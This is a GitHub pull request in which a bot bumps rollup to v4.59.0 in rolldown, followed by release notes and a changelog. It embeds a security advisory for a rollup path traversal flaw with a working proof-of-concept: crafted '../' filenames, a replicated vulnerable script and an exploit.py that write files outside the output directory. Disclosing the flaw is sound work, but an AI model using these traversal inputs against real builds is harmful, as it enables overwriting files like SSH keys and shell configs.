chore(deps): update dependency rollup to v4.59.0 [security] by renovate[bot] · Pull Request #8471 · rolldown/rolldown

renovate · 2026-02-26T05:23:01Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
rollup (source)	`4.57.1` → `4.59.0`

GitHub Vulnerability Alerts

CVE-2026-27606

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).
```
// src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
```
This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.
```
// src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);
```
Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
Execute Rollup with a specifically crafted named input where the key contains traversal characters:
```
rollup --input "a/../../pwned.js=main.js" --dir dist
```
Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()

POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

Impact

This is a High level of severity vulnerability.

Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Release Notes

rollup/rollup (rollup)

`v4.59.0`

Compare Source

2026-02-22

Features

Throw when the generated bundle contains paths that would leave the output directory (#6276)

Pull Requests

#6275: Validate bundle stays within output dir (@lukastaegert)

`v4.58.0`

Compare Source

2026-02-20

Features

Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#6272)

Pull Requests

#6256: docs: document PreRenderedChunk properties including isDynamicEntry and isImplicitEntry (@njg7194, @lukastaegert)
#6259: docs: Correct typo and improve sentence structure in docs for output.experimentalMinChunkSize (@millerick, @lukastaegert)
#6260: fix(deps): update rust crate swc_compiler_base to v47 (@renovate[bot], @lukastaegert)
#6261: fix(deps): lock file maintenance minor/patch updates (@renovate[bot], @lukastaegert)
#6262: Avoid unnecessary cloning of the code string (@lukastaegert)
#6263: fix(deps): update minor/patch updates (@renovate[bot], @lukastaegert)
#6265: chore(deps): lock file maintenance (@renovate[bot])
#6267: fix(deps): update minor/patch updates (@renovate[bot])
#6268: chore(deps): update dependency eslint-plugin-unicorn to v63 (@renovate[bot], @lukastaegert)
#6269: chore(deps): update dependency lru-cache to v11 (@renovate[bot])
#6270: chore(deps): lock file maintenance (@renovate[bot])
#6272: forward NO_SIDE_EFFECTS annotations to function expressions in variable declarations (@lukastaegert)

Configuration

📅 Schedule: Branch creation - "" in timezone Asia/Shanghai, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

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socket-security · 2026-02-26T05:23:29Z

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff	Package	Supply Chain Security	Vulnerability	Quality	Maintenance	License
	util-deprecate@1.0.2
	source-map-js@1.2.1
	signal-exit@4.1.0
	source-map-support@0.5.21
	picomatch@4.0.3
	serve-static@2.2.1
	terser@5.46.0
	typescript@5.9.3

View full report

@hyf0

## [1.0.0-rc.6] - 2026-02-26 ### 💥 BREAKING CHANGES - css: remove `css_entry_filenames` , `css_chunk_filenames` and related code (#8402) by @hyf0 - css: drop builtin CSS bundling to explore alternative solutions (#8399) by @hyf0 ### 🚀 Features - rust/data-url: use hash as id for data url modules to prevent long string overhead (#8420) by @hyf0 - validate bundle stays within output dir (#8441) by @sapphi-red - rust: support `PluginOrder::PinPost` (#8417) by @hyf0 - support `ModuleType:Copy` (#8407) by @hyf0 - expose `ESTree` types from `rolldown/utils` (#8400) by @sapphi-red ### 🐛 Bug Fixes - incorrect sourcemap when postBanner/postFooter is used with shebang (#8459) by @Copilot - resolver: disable node_path option to align ESM resolver behavior (#8472) by @sapphi-red - parse `.js` within `"type": "commonjs"` as ESM for now (#8470) by @sapphi-red - case-insensitive filename conflict detection for chunk deduplication (#8458) by @Copilot - prevent inlining CJS exports that are mutated by importers (#8456) by @IWANABETHATGUY - parse `.cjs` / `.cts` / `.js` within `"type": "commonjs"` as CommonJS (#8455) by @sapphi-red - plugin/copy-module: correct hooks' priority (#8423) by @hyf0 - plugin/chunk-import-map: ensure `render_chunk_meta` run after users plugin (#8422) by @hyf0 - rust: correct hooks order of `DataUriPlugin` (#8418) by @hyf0 - `jsx.preserve` should also considering tsconfig json preserve (#8324) by @IWANABETHATGUY - `deferred_scan_data.rs "Should have resolved id: NotFound"` error (#8379) by @sapphi-red - cli: require value for `--dir`/`-d` and `--file`/`-o` (#8378) by @Copilot - dev: avoid mutex deadlock caused by inconsistent lock order (#8370) by @sapphi-red ### 🚜 Refactor - watch: rename TaskStart/TaskEnd to BundleStart/BundleEnd (#8463) by @hyf0 - rust: rename `rolldown_plugin_data_uri` to `rolldown_plugin_data_url` (#8421) by @hyf0 - bindingify-build-hook: extract helper for PluginContextImpl (#8438) by @ShroXd - give source loading a proper name (#8436) by @IWANABETHATGUY - ban holding DashMap refs across awaits (#8362) by @sapphi-red ### 📚 Documentation - add glob pattern usage example to input option (#8469) by @IWANABETHATGUY - remove `https://rolldown.rs` from links in reference docs (#8454) by @sapphi-red - mention execution order issue in `output.codeSplitting` docs (#8452) by @sapphi-red - clarify `output.comments` behavior a bit (#8451) by @sapphi-red - replace npmjs package links with npmx.dev (#8439) by @Boshen - reference: add `Exported from` for values / types exported from subpath exports (#8394) by @sapphi-red - add JSDocs for APIs exposed from subpath exports (#8393) by @sapphi-red - reference: generate reference pages for APIs exposed from subpath exports (#8392) by @sapphi-red - avoid pipe character in codeSplitting example to fix broken rendering (#8391) by @IWANABETHATGUY ### ⚡ Performance - avoid redundant PathBuf allocations in resolve paths (#8435) by @Brooooooklyn - bump to `sugar_path@2` (#8432) by @hyf0 - use flag-based convergence detection in include_statements (#8412) by @Brooooooklyn ### 🧪 Testing - execute `_test.mjs` even if `executeOutput` is false (#8398) by @sapphi-red - add retry to tree-shake/module-side-effects-proxy4 as it is flaky (#8397) by @sapphi-red - avoid `expect.assertions()` as it is not concurrent test friendly (#8383) by @sapphi-red - disable `mockReset` option (#8382) by @sapphi-red - fix flaky failure caused by concurrent resolveId calls (#8381) by @sapphi-red ### ⚙️ Miscellaneous Tasks - deps: update dependency rollup to v4.59.0 [security] (#8471) by @renovate[bot] - ai/design: add design doc about watch mode (#8453) by @hyf0 - deps: update oxc resolver to v11.19.0 (#8461) by @renovate[bot] - ai: introduce progressive spec-driven development pattern (#8446) by @hyf0 - deprecate output.legalComments (#8450) by @sapphi-red - deps: update dependency oxlint-tsgolint to v0.15.0 (#8448) by @renovate[bot] - ai: make CLAUDE.md a symlink of AGENTS.md (#8445) by @hyf0 - deps: update rollup submodule for tests to v4.59.0 (#8433) by @sapphi-red - deps: update test262 submodule for tests (#8434) by @sapphi-red - deps: update oxc to v0.115.0 (#8430) by @renovate[bot] - deps: update oxc apps (#8429) by @renovate[bot] - deps: update npm packages (#8426) by @renovate[bot] - deps: update rust crate owo-colors to v4.3.0 (#8428) by @renovate[bot] - deps: update github-actions (#8424) by @renovate[bot] - deps: update rust crates (#8425) by @renovate[bot] - deps: update oxc resolver to v11.18.0 (#8406) by @renovate[bot] - deps: update dependency oxlint-tsgolint to v0.14.2 (#8405) by @renovate[bot] - ban `expect.assertions` in all fixture tests (#8395) by @sapphi-red - deps: update oxc apps (#8389) by @renovate[bot] - ban `expect.assertions` in fixture tests (#8387) by @sapphi-red - enable lint for `_config.ts` files (#8386) by @sapphi-red - deps: update dependency oxlint-tsgolint to v0.14.1 (#8385) by @renovate[bot] Co-authored-by: shulaoda <165626830+shulaoda@users.noreply.github.com>

renovate bot enabled auto-merge (squash) February 26, 2026 05:23

renovate-approve bot approved these changes Feb 26, 2026

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shulaoda disabled auto-merge February 26, 2026 05:24

chore(deps): update dependency rollup to v4.59.0 [security]

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renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from b4c6f45 to dda8b94 Compare February 26, 2026 06:00

renovate bot enabled auto-merge (squash) February 26, 2026 06:00

renovate bot merged commit d1f7e79 into main Feb 26, 2026
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renovate bot deleted the renovate/npm-rollup-vulnerability branch February 26, 2026 06:17

This was referenced Feb 26, 2026

release: v1.0.0-rc.6 #8473

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chore(deps): update dependency rollup to v4.59.0 [security]#8471

chore(deps): update dependency rollup to v4.59.0 [security]#8471
renovate[bot] merged 1 commit intomainfrom
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renovate bot commented Feb 26, 2026

GitHub Vulnerability Alerts

CVE-2026-27606

Summary

Details

PoC

POC

Impact

Release Notes

v4.59.0

Features

Pull Requests

v4.58.0

Features

Pull Requests

Configuration

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`v4.59.0`

`v4.58.0`

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